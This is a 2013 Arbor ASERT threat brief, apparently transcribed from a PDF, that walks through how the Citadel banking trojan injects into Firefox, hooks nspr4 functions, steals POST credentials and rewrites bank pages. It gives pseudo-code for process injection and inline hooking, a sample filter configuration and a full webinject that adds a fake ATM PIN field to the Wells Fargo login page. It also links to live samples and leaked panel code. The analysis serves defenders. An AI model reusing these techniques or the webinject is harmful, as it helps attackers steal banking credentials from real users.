Citadel`s Man in the Firefox: An Implementation Walk Through
Transcription
Citadel`s Man in the Firefox: An Implementation Walk Through
Arbor Security Report ASERT Threat Intelligence Brief 2013-2 Citadel's Man-in-the-Firefox: An Implementation WalkThrough Dennis Schwarz, Arbor ASERT. September 17, 2013 © Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 Introduction While banking malware or "bankers" have a lot of functionality, they are defined by their Man-in-the-Browser (MITB) implementation. This mechanism allows them to not only steal banking usernames and passwords, but also inject arbitrary content into banking websites in order to social engineer and try and steal additional credentials such as identifying information, pins, and token codes. This paper will walk through Citadel's MITB implementation for the Firefox 21.0 web browser. Citadel was chosen as the malware of interest because at the time of writing it was one of the main banking trojans being used in the wild. The focus will be on Firefox 21.0 because it is an easier target to walk through, but the concepts can be extrapolated to (and have been implemented for) other browsers--Internet Explorer, Opera, and some versions of Chrome [12]. Since its arrival sometime in early 2012, there has been a lot of good analysis on Citadel as a whole, [1] and [2] being good starting points. But, they don't venture very deeply into the MITB functionality. Likewise, there have been a lot of good write-ups and proof of concept code for MITB techniques [3], but they have usually stopped short of showing in the wild, malicious implementations. The goal of this paper is to help bridge that gap. Citadel Samples While the walk-through strives to be generic, the following Citadel version 1.3.5.1 samples were used (some of the configurations were modified slightly for demonstration purposes): The first is available at the time of writing at [4] and [5]. The second is at [8] and [9]. These are live malware samples! Stay safe. MD5 (great.exe) = 45f7ab75c1cd77fbd0844acebd3af501 MD5 (IMG2013-05-31-022019.JPG...................mediaplayer.exe) = 566d525033e9371ae808e2c524f64fa8 A labeled IDA database for "great.exe" will be available on Arbor Network's GitHub [14]. Debugging Citadel Pro Tips The following nice-to-knows were helpful in the course of this research: • • 2 Citadel has some basic anti-Virtual Machine functionality. Instructions on how to work around this constraint in VirtualBox can be found here [10]. The persistent binary was stored in $USER\AppData\Roaming\[random characters]\[random characters].exe. Its size will be approximately 221 KB in size: Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 • • • • • • Set a just-in-time debugger and make liberal use of 0xCC breakpoints. Command and Control (C&C) communications happen from injected processes. The initial phone home usually comes from taskhost.exe. To find the Citadel portion of memory in an injected process, use Process Hacker's memory tab, sort by "Protection". The permissions will be set to "RWX" and the size will be around 236 KB in size: A research test-bed can be hacked together using MySQL, PHP, the server control panel from the Reddit leak at [11], a client's Login key, and its C&C RC4 key. The Login key can be found by looking for a 32 character hexadecimal string that looks like a MD5 hash. An example is "F5F4D5EBD5855E904AB8DB757D320604". The RC4 algorithm is slightly modified and the Login key is XOR'd in as well. To find the RC4 function in Citadel, trace Xrefs for the Login key string and use the pseudo-random generation algorithm (PRGA) description at [13] to identify the code. The following is the Hex-Rays decompiled function: © Copyright 2013 Arbor Networks, Inc. All rights reserved. 3 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 • • There are two RC4 key states used. The first to decrypt the base, static configuration and the second for C&C communications. Set a breakpoint on the RC4 function. The second argument will be the key state and it will be 256 bytes in size. Launch Firefox from a command shell. Set "MOZ_CRASHREPORTER_DISABLE=1" to get just-intime debugging to work. Conventions The pseudo code used throughout this paper is a mixture of Python, C, and English. This seems the most natural approach to help explain things. Since Citadel is a fork of the Zeus trojan, and the latter's source code has since been leaked [6], the names used in the walk-through will match the source code as much as possible. Finding and Injecting into Firefox There are four methods that Citadel uses to find and inject itself into Firefox processes running on a target system: 1. 2. 3. 4. 4 CoreInject_injectToAll function CoreHook_hookerNtCreateUserProcess function hook CoreHook_hookerNtCreateThread function hook CoreHook_hookerLdrLoadDll function hook Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 CoreInject_injectToAll Function (Mass Injection) During Citadel's start up, a call to CoreInject_injectToAll is made. To find, trace IDA Pro Xrefs for "CreateToolhelp32Snapshot". The call graph is: Core_entryPoint >> Core_runAsBot >> CoreInject_injectToAll As the name implies, it tries to inject itself into all permissible processes, Firefox included. The method used is a traditional process injection technique. The first step is process iteration: // take a snapshot of all processes procs = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ...) // iterate through first process proc = Process32First(procs, &proc_struct) while proc: pid = proc_struct.th32ProcessID // permission checks CoreInject_injectMalwareToProcess(pid, ...) // iterate through next process proc = Process32Next(procs, &proc_struct) Next, CoreInject_injectMalwareToProcess does three things: allocates memory in the target process, copies Citadel's code to the allocated memory, and then spins up a new remote thread--starting execution at the injected code's entry point. Here is the outline of this function and Core_initNewModule: CoreInject_injectMalwareToProcess(pid, ...) // get handle to process proc_handle = OpenProcess(..., pid) // allocate memory and write Citadel to target process remote_mem = Core_initNewModule(proc_handle, ...) // calculate entry point ep = remote_mem + Core_injectEntryForThreadEntry - base_addr // start remote thread in target CreateRemoteThread(proc_handle, ..., ep, ...) Core_initNewModule(proc_handle, ...): // anti-virus detection PeImage_copyModuleToProcess(base_addr, proc_handle) © Copyright 2013 Arbor Networks, Inc. All rights reserved. 5 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 // update some configuration pieces in the injected code Memory allocation and code injection actually happens in PeImage_copyModuleToProcess. The first argument to this function is the base address of the injecting process's main module--a Portable Executable (PE) file: PeImage_copyModuleToProcess(base_addr, proc_handle): // figure out PE DOS header offset pe_dos_header = base_addr // figure out PE NT headers offset pe_nt_headers = pe_dos_header + pe_dos_header->e_lfanew size = pe_nt_headers->OptionalHeader.SizeOfImage // allocate buffer in remote process. set read, write, execute // permissions remote_mem = VirtualAllocEx(proc_handle, NULL, size, RWX, ...) // rebase injected image WriteProcessMemory(proc_handle, remote_mem, size, ...) Here is a visual of Firefox injected with Citadel. On this run, the size was 0x3B000 (241,664) bytes and the starting address of the remote buffer was 0x22C0000: 6 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 Rebasing the injected code needs a quick review. A PE file can specify a preferred base address of where in memory it would like to be loaded. Using this base, addresses will be calculated in the executable. As an example, notice how the push instructions (opcode 0x68) references address 0x409284--using a common default preferred base address of 0x400000): If, on load, the preferred base address is already mapped (by a DLL for instance), the Windows loader, with the help of the executable's PE relocation section (.reloc), will choose another base address, recalculate any addresses and update the respective instructions. The "Base Relocations" section of [7] along with a visual PE editor, like CFF Explorer, provides additional insight into the rebasing process. Since Citadel doesn't have the luxury of using the Windows loader when it injects itself into a process, it has to do this rebasing process manually. © Copyright 2013 Arbor Networks, Inc. All rights reserved. 7 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 After process injection and back in CoreInject_injectMalwareToProcess, the entry point for the remote thread is calculated by taking the address of Core_injectEntryForThreadEntry, subtracting the injecting process's base address and then adding the start address of the remotely allocated buffer. This ends up being a wrapper of Core_defaultModuleEntry. CoreHook_hookerNtCreateUserProcess Function Hook The second injection method involves hooking NtCreateUserProcess--an undocumented, low-level function exported from ntdll.dll. The more familiar CreateProcess uses this function to create a new process. If Firefox were launched after the initial mass injection, its process will have been created by explorer.exe (user shell) or another one of its descendants injected with Citadel. The hooking method will be discussed later. For now, whenever explorer.exe (or any other Citadel infected process) calls NtCreateUserProcess, CoreHook_hookerNtCreateUserProcess is called instead. To find the function hook, trace IDA Pro Xrefs for "GetThreadContext": CoreHook_hookerNtCreateUserProcess(...): // call the real NtCreateUserProcess to create process NtCreateUserProcess(...) // allocate memory and write Citadel to target process remote_mem = Core_initNewModule(proc_handle, ...) // calculate entry point ep = remote_mem + Core_injectEntryForModuleEntry - base_addr // get thread context GetThreadContext(..., &thread_context) // check if EIP points to thread start routine if thread_context.Eip == RtlUserThreadStart: // see notes below thread_context.Eax = ep // reset thread context SetThreadContext(..., &thread_context) During initialization, Core_init saves function pointers to the real NtCreateUserProcess function (and others) for use in their respective hooks: Core_init(...): ... ntdll = GetModuleHandle("ntdll.dll") NtCreateThread = GetProcAddress(ntdll, "NtCreateThread") 8 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 NtCreateUserProcess = GetProcAddress(ntdll, ...) NtQueryInformationProcess = GetProcAddress(ntdll, ...) RtlUserThreadStart = GetProcAddress(ntdll, ...) LdrLoadDll = GetProcAddress(ntdll, ...) LdrGetDllHandle = GetProcAddress(ntdll, ...) On entry to the function hook, the real NtCreateUserProcess is called. After Citadel injects itself into the newly created process via the familiar Core_initNewModule, an entry point to Core_injectEntryForModuleEntry is calculated: Core_injectEntryForModuleEntry(): // Citadel initialization things Core_defaultModuleEntry() // get base address of original executing process // firefox.exe, for example base_addr = GetModuleHandle(NULL) // figure out PE DOS header offset pe_dos_hdr = base_addr // figure out PE NT headers offset pe_nt_hdrs = pe_dos_hdr + pe_dos_hdr->e_lfanew // get original entry point from PE headers // firefox.exe's entry point, for example oep = pe_nt_hdrs->OptionalHeader.AddressOfEntryPoint + base_addr // call original entry point, // i.e. continue launching firefox.exe return oep() Back in the hook, the main thread's context is retrieved from the newly created process via GetThreadContext. The instruction pointer is checked to see if it points to the thread initialization routine RtlUserThreadStart--an undocumented, low-level thread initialization function from ntdll.dll. The convention to change a thread's entry point on resume is to update its context's EAX register to point to the respective address. The context is reset via a SetThreadContext call. CoreHook_hookerNtCreateThread Function Hook If NtCreateUserProcess's address can't be resolved, NtCreateThread will be hooked instead. This is an undocumented, low-level function exported from ntdll.dll that the more familiar CreateThread calls to create new threads. The idea behind this hook is akin to the former except that it operates at the thread level. © Copyright 2013 Arbor Networks, Inc. All rights reserved. 9 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 It starts by determining whether the thread being created is the initial thread of the process and if so, injects itself in. To find the function hook, trace IDA Pro Xrefs for the "NtQueryInformationProcess" string and follow where it gets used: CoreHook_hookerNtCreateThread(...): // get process ID NtQueryInformationProcess(proc_handle, ..., pbi, ...) // get number of threads threads = Process_getCountOfThreadsByProcessId(pid) if threads == 0: // allocate memory and write Citadel to target process rem_mem = Core_initNewModule(proc_handle, ...) // calculate entry point ep = rem_mem + Core_injectEntryForModuleEntry - base_addr // set thread entry point thread_context->Eax = ep // call and return real NtCreateThread NtCreateThread(..., thread_context, ...) The rest of the code is very similar as before except the thread context with the Citadel entry point is passed to the real NtCreateThread function. The entry point is the same, Core_injectEntryForModuleEntry. CoreHook_hookerLdrLoadDll Function Hook The last injection technique isn't really an injection method, but it does offer another way for Citadel to hook Firefox with its MITB code. This technique relies on one of the previous methods to get Citadel into a process. Once it has been injected, it will hook the LdrLoadDll function--another undocumented, low-level function exported from ntdll.dll that the more familiar LoadLibrary function calls to load in libraries. If a Citadel infected process loads "nspr4.dll", CoreHook_hookerLdrLoadDll will be called instead. To find the function hook, trace IDA Pro Xrefs for the "chrome.dll" Unicode string: CoreHook_hookerLdrLoadDll(...) // call the real LdrLoadDll to load in the DLL handle = LdrLoadDll(..., ModuleFileName, ...) // check whether nspr4.dll is being loaded if ModuleFileName == "nspr4.dll": // check whether functions have already been hooked // hook Firefox functions 10 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 WinApiTables_setNspr4Hooks(ModuleHandle) else: // hook Google Chrome // not relevant for example, removed return handle Function Hooking Citadel uses a couple of different hooking methods depending on the particular function being hooked. It starts in WinApiTables_hookList, which handles some housekeeping. To find the hooking function, trace IDA Pro Xrefs for "VirtualAllocEx". WinApiTables_hookList then calls WaHook_hook to perform the actual hooking. For the Firefox MITB function hooks, the call graphs from the injection entry points are listed here: Core_injectEntryForThreadEntry or Core_injectEntryForModuleEntry >> Core_defaultModuleEntry >> Core_init >> Core_initHooks >> WinApiTables_setNspr4Hooks >> WinApiTables_hookList The call graph from the LdrLoadDll hook is this: CoreHook_hookerLdrLoadDll >> WinApiTables_setNspr4Hooks >> WinApiTables_hookList The WinApiTables_hookList function works on an array of 16 byte WinApiTables.HOOKWINAPI structures. The structure is defined as follows: typedef struct { void *functionForHook; void *hookerFunction; void *originalFunction; int originalFunctionSize; } HOOKWINAPI; An easy way to understand the process is to walk through hooking a single function, for example the Firefox PR_OpenTCPSocket function exported from nspr4.dll. As part of the injected Citadel data, there will be a HOOKWINAPI structure initialized like this: HOOKWINAPI nspr4Hooks[] = { {NULL, Nspr4Hook_hookerPrOpenTcpSocket, NULL, 0} }; © Copyright 2013 Arbor Networks, Inc. All rights reserved. 11 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 In WinApiTables_setNspr4Hooks, PR_OpenTCPSocket's address is resolved via GetProcAddress and assigned to the functionForHook member of its HOOKWINAPI structure. This is where the hook will be set. The array of structures is then sent to WinApiTables_hookList: WinApiTables._setNspr4Hooks(nspr4): // resolve address of real functions nspr4Hooks[0].functionForHook = GetProcAddress(nspr4, "PR_OpenTCPSocket") // hook functions WinApiTables_hookList(nspr4Hooks, number_of_hooks) // save function pointers to "original" functions for later use Nspr4Hook_updateAddresses(nspr4Hooks[0].originalFunction) WinApiTables_hookList in turn takes the array of functions to be hooked, allocates a buffer to hold instruction opcodes from the original functions and does some housekeeping. It then calls WaHook_hook for each. This is what the first few instructions of the original PR_OpenTCPSocket function look like: WaHook_hook is a bit confusing as there are a couple of different hooking methods implemented. There also seems to be some duplicated code that makes things a bit messy. The focus will be on the Firefox MITB hooking method: WaHook_hook(functionForHook, hookerFunction, opcodesBuf): // read first byte of function to hook ReadProcessMemory(..., functionForHook, buf, 1, ...) // jmp opcode == 0xE9 if first instruction is a jmp: 12 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 // set jmp hook // not relevant for example, removed else: // check if at least 30 bytes of instruction are available WaHook_checkAvailableBytes(functionForHook) // change memory protections to read, write, execute VirtualProtectEx(..., functionForHook, 30, RWX) // allocate and set a local buf to 36 NOP instructions Mem_set(buf, 0x90, 36) // read in first 30 bytes of the original function ReadProcessMemory(..., functionForHook, buf, 30) // in the local buf, skip to at least the 6th byte // it will be the beginning of the push 1 instruction // in the PR_OpenTCPSocket reference above // write a new push (0x68) instruction to local buf // push offset will be to the real PR_OpenTCPSocket+6 // address // in the local buf, write a ret (0xC3) instruction // this is functionally equivalent to the original function // it is just broken into two pieces with a // push/ret combination to link the pieces together // write the local buf to opcodesBuf argument // size = 6 skipped bytes + 6 bytes for push and ret = 12 // see first diagram below WriteProcessMemory(..., opcodesBuf, buf, 12) // below task uses the same local buf, but is logically // separated from the above task // in the local buf, skip to first byte // beginning of mov instruction above © Copyright 2013 Arbor Networks, Inc. All rights reserved. 13 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 // in the local buf, write a push (0x68) instruction // push offset will be to the function hook // address of Nspr4Hook_hookerPrOpenTcpSocket // in the local buf, write a ret (0xC3) instruction // see second diagram below for a visual // if needed, patch Citadel's import table // not relevant for example, removed WinApiTables_hotPatchCallback // write the first 6 bytes of local buf // over original function WriteProcessMemory(..., functionForHook, buf, 6) // see third diagram below to see what OpenTCPSocket // looks like now // function is hooked return 14 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 Back in WinApiTables_hookList, the originalFunction and originalFunctionSize members of the HOOKWINAPI structure are updated. The former will be a pointer to the opcodesBuf buffer shown in the first diagram above. The latter will be the number of instruction bytes stored there. A good way to think about what is happening is to imagine that the original PR_OpenTCPSocket function is split into two pieces. The first piece starts at originalFunction and contains 12 bytes of code: two original instructions from PR_OpenTCPSocket (mov and push) and then the push/ret combination that links to the second piece. The second piece starts in the original PR_OpenTCPSocket function, but 6 bytes in. The third instruction (push 1) is where execution in the second piece begins. Calling the code starting at opcodesBuf is functionally equivalent to calling the original PR_OpenTCPSocket function. Here's what the HOOKWINAPI structure looks like now: HOOKWINAPI nspr4Hooks[] = { {nspr4_PR_OpenTCPSocket, Nspr4Hook_hookerPrOpenTcpSocket, opcodesBuf, 12} }; To finish things up, WinApiTables_setNspr4Hooks calls Nspr4Hook_updateAddresses to set up a function pointer pointing to the HOOKWINAPI.originalFunction member, effectively to the original PR_OpenTCPSocket function. This will be used later in the function hook. Firefox Function Hooks Now that Citadel is injected inside of Firefox and its hooking mechanism has been analyzed, what functions are hooked and what are they coerced to do? The following table lists the functions of interest. They are all exported from the Netscape Portable Runtime library (nspr4.dll): © Copyright 2013 Arbor Networks, Inc. All rights reserved. 15 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 Function Description Function Hook PR_OpenTCPSocket Creates a new TCP socket Nspr4Hook_hookerPrOpenTcpSocket PR_Close Closes a file or socket Nspr4Hook_hookerPrClose PR_Read Reads bytes from a file or socket Nspr4Hook_hookerPrRead PR_Write Writes a buffer of data to a file or socket Nspr4Hook_hookerPrWrite Citadel keeps track of Firefox connections internally with its own connection management system. Active connections are maintained as an array of 56 byte Nspr4Hook.NSPR4CONNECTION structures: typedef struct { PRFILEDESC *fd; LPSTR url; DWORD writeBytesToSkip; HttpGrabber_INJECTFULLDATA *injects; DWORD injectsCount; LPBYTE response; DWORD responseSize; struct { void *buf; DWORD size; DWORD pos; DWORD realSize; } pendingRequest; struct { void *buf; DWORD size; DWORD pos; 16 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 } pendingResponse; } NSPR4CONNECTION The connection management functions are listed next: Function Description Nspr4Hook.connectionFind(pr_fd) Find an active connection, return its connection index Nspr4Hook.connectionAdd(pr_fd) Add a new connection Nspr4Hook.connectionRemove(index) Remove a connection Nspr4Hook_hookerPrOpenTcpSocket This function hook calls the real PR_OpenTCPSocket function to open a new socket and then initiates a new connection record via Nspr4Hook_connectionAdd. Nspr4Hook_hookerPrClose Nspr4Hook_hookerPrClose calls the real PR_Close to close out the socket and then uses Nspr4Hook_connectionFind and Nspr4Hook_connectionRemove to delete its corresponding connection record. Nspr4Hook_hookerPrWrite This is the first of two main Firefox MITB function hooks. Before getting into the details, a quick aside is needed to discuss the format of the "WebFilters" section of a Citadel configuration file. This section defines URLs of interest and what to do if a user visits them in their web browser. Here is an example: ... entry "WebFilters" "P*wellsfargo.com/*" "@*payment.com/*" "!http://*.com/*.jpg" end ... The first character of each filter (first two characters are possible for the screenshot option) indicates what to do if the filter is matched. Here are the possible options: © Copyright 2013 Arbor Networks, Inc. All rights reserved. 17 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 Filter Type Description default Log a report ! Don't log a report @ Take a screenshot @@ Take a full screen screenshot ^ Block access # Record video G Report GET requests only P Report POST requests only After the filter type is the URL to match on. Wildcards are supported with "*" indicating a multi-character wildcard and "#" indicating a single character. Since this code can be a bit confusing, a good way to understand the process is to walk through a single filter that encompasses the essence. The focus below will be on the "P*wellsfargo.com/*" filter and its code path. This rule will report on any HTTP POST requests to any wellsfargo.com site. The example URL will be "https://online.wellsfargo.com/das/cgi-bin/session.cgi?screenid=SIGNON": Nspr4Hook_hookerPrWrite(fd, buf, amount): // find associated connection con_idx = Nspr4Hook_connectionFind(fd) // deal with pending data from other PR_Writes // not relevant for example, removed // deal with skipped bytes // not relevant for example, removed // parse the HTTP request into a REQUESTDATA structure // see definition below Nspr4Hook_fillRequestData(request, fd, buf, ...) // analyze request analysis_flags = HttpGrabber_analizeRequestData(request) 18 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 // analysis_flags are a bitmap and will be touched on later // 0x18 (0x8 and 0x10 bits set) for the example // test analysis_flags against some flags // not relevant for example, removed // housekeeping and clean up // pass on request to real PR_Write prWrite(fd, buf, amount) Nspr4Hook_fillRequestData parses the raw HTTP request from the incoming buffer into a HttpGrabber.REQUESTDATA structure. This 112-byte structure is defined like this: struct REQUESTDATA { int flags; void *handle; void *url; int urlSize; void *acceptLanguage; int acceptLanguageSize; void *acceptEncoding; int acceptEncodingSize; void *userAgent; int userAgentSize; void *cookie; int cookieSize; void *referer; int refererSize; int method; void *contentType; int contentTypeSize; void *postData; int postDataSize; authorizationData authorizationData; © Copyright 2013 Arbor Networks, Inc. All rights reserved. 19 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 int field_58; int field_5C; int field_60; int dynamicConfig; int field_68; int LocalConfig; }; struct authorizationData { void *userName; void *password; void *unknownType; }; The primary tasks of HttpGrabber_analizeRequestData (sic) are the following: 1. 2. 3. 4. Parse any filters from Citadel's configuration Match the request's URL to the filters If there is a match, execute the specific filter action If the particular filter action writes a report, send report to the botnet's C&C server HttpGrabber_analizeRequestData(request): // deal with URL blocking // not relevant for example, removed // get configuration. // configuration details are out of scope // get WebFilters section filters = BinStorage_getItemDataEx(config, CFGID_HTTP_FILTER) // loop through filters // current filter // "P*wellsfargo.com/*" // parse filter type, first character // filter type is "P" 20 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 // match request URL against filters // taking into account wildcards // url filter is "*wellsfargo.com/*" // url is "https://online.wellsfargo.com/das/cgi-bin/..." HttpGrabber_matchUrlA(current_filter, url) // if URL matches // execute filter action // see filter type table above // write report // don't write report // take screen shot // take full screen screenshot // ... // in this example, the filter action // will be to write a report // don't report on // .swf urls // .flv urls // facebook.com urls // not relevant for example, removed // deal with HttpVipUrls rules in configuration // not relevant for example, removed // parse and set analysis flags // the relevant ones for this example: // check if Content-Type is "application/x-www-form-urlencoded" // POST data is urlencoded // analysis flag bit is 0x10 // write report flag // analysis flag bit is 0x8 // if write report flag © Copyright 2013 Arbor Networks, Inc. All rights reserved. 21 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 // parse out various things for the report // write report // see diagram below // send report to C&C // details are outside of the scope // deal with URL injects // not relevant for example, removed // deal with POST replacement // not relevant for example, removed On the C&C side, the botmaster will have access to the report. Items of interest are the search feature, keyboard logging around the time of the request, and access to the stolen credentials even while the data was sent using SSL/TLS (HTTPS). 22 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 Nspr4Hook_hookerPrRead The second core MITB function is Nspr4Hook_hookerPrRead. This is where webinjects come into play. A webinject is basically a find and replace rule. Webinjects are defined in the Citadel configuration and can be dynamically updated via the C&C. For this example, a wellsfargo.com rule will be used: set_url https://www.wellsfargo.com/ GP data_before <label for="userid">Username</label> data_end data_inject <input type="text" accesskey="U" id="userid" name="userid" maxlength="14" style="width:147px" tabindex="2" /></div> size="13" <DIV><STRONG><LABEL for=userid>ATM Pin</LABEL>:</STRONG><BR><INPUT id="atm_check" style="WIDTH: 147px" tabIndex="2" maxLength="6" size="13" name="ATMPin"></DIV> <DIV><STRONG><label for="password">Password</label>:</strong><br /> <input type="password" accesskey="P" id="password" name="password" maxlength="14" tabindex="2" /> size="13" <input type="hidden" name="screenid" value="SIGNON" /><input type="hidden" name="origination" value="WebCons" /><input type="hidden" name="LOB" value="Cons" /> <input type="submit" value="Go" name="btnSignon" id="btnSignon" class="submitBtn" tabindex="2"/></div> © Copyright 2013 Arbor Networks, Inc. All rights reserved. 23 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 <input type="hidden" id="u_p" name="u_p" value=""/> </form> data_end data_after </form> data_end Just a note: there was no intention to single out Wells Fargo, they just happened to be the target of the Citadel sample used in this analysis. Webinjects can be written for any web site. The "set_url" parameter specifies the URL and the type of HTTP requests to target. "data_before" defines the line of code on the target website after which the malicious code should be injected at. "data_after" defines the line of code on the target website before which the malicious code should be injected at. Everything between the two points will be overwritten with the contents of "data_inject". Here is the function hook: Nspr4Hook_hookerPrRead(fd, buf, amount): // find associated connection con_idx = Nspr4Hook_connectionFind(fd) // deal with pending data from previous PR_Reads // not relevant for example, removed // check if there are any webinjects // call real PR_Read prRead(fd, buf, amount) // remove any X-Frame-Options headers // not relevant for example, removed // parse the HTTP response into a HTTPREQUESTINFO structure Nspr4Hook_analizeHttpResponse(info, response, responseSize) // parse out the request content Nspr4Hook_analizeHttpResponseBody(info, response, responseSize, content, contentSize) // inject injects HttpGrabber_executeInjects(injectsCount, injects, url, content, contentSize) // if request was chunked, adjust 24 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 // else, adjust Content-Length value // update response buffer Nspr4Hook_analizeHttpResponse (sic) checks a few things like the HTTP version and return status code. It then starts filling a 16-byte Nspr4Hook_HTTPREQUESTINFO structure: typedef struct { int flags; int contentLength; int contentOffset; int contentEndOffset; } HTTPREQUESTINFO; If HTTP chunked encoding is used, "Transfer-Encoding" is set to "chunked" and a flag is set. If a "ContentLength" header is present, its length is noted in the structure and a flag is set. If either the "Connection" or "Proxy-Connection" headers close the connection, another flag is set. Lastly, the offset to the request content is calculated. Nspr4Hook_analizeHttpResponseBody (sic) completes the HTTPREQUESTINFO structure by determining the ending offset of the request content via whatever mechanism was flagged earlier. In this example, the Content-Length will be used. It then carves out the request content into the "content" buffer. Webinjects are parsed and applied in HttpGrabber_executeInjects. The "content" parameter passed to the function is a pointer to the HTML source code of the target website. There are two structures used in conjunction with webinjects. The first, HttpGrabber_INJECTFULLDATA, wraps up all the webinjects into a data structure: typedef struct { int flags; void *urlMask; void *fakeUrl; void *blockOnUrl; void *contextMask; INJECTBLOCK *injects; int injectsSize; } INJECTFULLDATA; The second, HttpInject.INJECTBLOCK, is a header used in front of the various webinject strings: "data_before", "data_after", etc. from above: © Copyright 2013 Arbor Networks, Inc. All rights reserved. 25 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 typedef struct short size; short flags; } INJECTBLOCK; Here is HttpGrabber_executeInjects: // deal with contextMask stuff // not relevant for example, removed // parse out blockPrefix // data_before // parse out blockPostfix // data_after // parse out blockNew // data_inject // match data_before against content // goal is to figure out the data_before offset in // the target website HttpGrabber_matchContextExA(blockPrefix, blockPrefixSize, offsetBegin, content, contentSize) // match data_after against content // goal is to figure out the data_after offset in // the target website HttpGrabber_matchContextExA(blockPostfix, blockPostfixSize, offsetEnd, content, contentSize) // deal with webinject macros // not relevant for example, removed // piece together a new target website // using the above offsets // deal with other flags // not relevant for example, removed 26 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 This is what takes place behind the scenes. The target website, prior to webinjects, looks like this: After the webinject, there is now a suspicious "ATM Pin" form field: © Copyright 2013 Arbor Networks, Inc. All rights reserved. 27 Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 The formatting is a bit off, but that's because this webinject is a bit older and since its creation, Wells Fargo has updated their website code. That aside, the effects are evident. Conclusion The main intent of this paper was to walk through Citadel's Man-in-the-Browser implementation for the Firefox 21.0 web browser and to add another page to the collective body of Citadel malware analysis. Techniques like MITB are making "bankers" incredibly deft at their craft; infecting and affecting a large number of people and companies across the world. A secondary objective was to inspire further deep-dive walk-throughs of advanced malware topics. The more that these tactics are understood the better they can be protected against. Thanks Thanks much to the Arbor Networks' ASERT team, Paul Halliday (@01110000), Rudy Ristich (@rarsec), and Jeff Jarmoc (@jjarmoc) for reviewing and providing feedback! References [1] Malware Analysis: Citadel by AhnLab ASEC [2] Citadel Trojan Malware Analysis by Jason Milletary, Dell SecureWorks Counter Threat Unit 28 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2013-2 [3] Spread throughout the last 20 issues or so of Phrack Magazine by various authors [4] https://malwr.com/analysis/OTRlNDU5ZTk1NjdmNDBjOGJmMjk0MjI3NTYxY2JkYjc/ [5] http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465&start=50#p20004 [6] https://github.com/Visgean/Zeus [7] An In-Depth Look into the Win32 Portable Executable File Format, Part 2 by Matt Pietrek [8] http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465&start=50#p19616 [9] https://malwr.com/analysis/OTYzY2M3YWRmOTgyNDVmZjhhOTc5ZTIwYmI4MWE1MjU/ [10] http://www.kernelmode.info/forum/viewtopic.php?f=11&t=1911 [11] http://www.reddit.com/r/Malware/comments/1i0axa/citadel_1351_leaked_and_uncracked/ [12] http://en.wikipedia.org/wiki/Man-in-the-browser [13] http://en.wikipedia.org/wiki/RC4#The_pseudo-random_generation_algorithm_.28PRGA.29 [14] https://github.com/arbor About ASERT The Security Engineering & Response Team (ASERT) at Arbor Networks delivers world-class network security research and analysis for the benefit of today's enterprise and network operators. ASERT engineers and researchers represent the best in information security. They have vast experience working on vulnerability and exploit research and malicious code reverse engineering, as well as incident response and DDoS and botnet tracking and trending. ASERT monitors Internet threats around the clock and around the globe via an advanced malware analysis system and via ATLAS, Arbor's global network of sensors. http://atlas.arbor.net. To view the latest research, news, and trends from Arbor and the information security community at large, visit our Threat Portal at http://www.arbornetworks.com/threats/. © Copyright 2013 Arbor Networks, Inc. All rights reserved. 29